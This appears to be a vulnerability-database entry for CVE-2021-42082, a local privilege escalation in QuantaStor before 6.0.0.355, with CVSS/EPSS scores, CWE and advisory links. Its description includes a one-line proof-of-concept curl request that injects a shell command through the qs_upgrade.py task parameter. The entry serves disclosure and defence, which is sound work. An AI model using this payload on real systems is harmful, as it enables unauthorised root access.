CVE-2021-42082

HIGH

QuantaStor < 6.0.0.355 - Local Privilege Escalation via qs_upgrade.py Task Parameter

Title source: llm
STIX 2.1

Description

Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

References (5)

Core 5
Core References
Third Party Advisory third-party-advisory technical-description exploit
https://www.wbsec.nl/osnexus
Various Sources third-party-advisory
https://csirt.divd.nl/DIVD-2021-00020/
Third Party Advisory third-party-advisory technical-description exploit
https://csirt.divd.nl/CVE-2021-42082

Scores

CVSS v3 7.8
EPSS 0.0018
EPSS Percentile 7.1%
Attack Vector LOCAL
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CISA SSVC

Vulnrichment
Exploitation none
Automatable no
Technical Impact total

Details

CWE
CWE-269
Status published
Products (1)
osnexus/quantastor < 6.0.0.355
Published Jul 10, 2023
Tracked Since Feb 18, 2026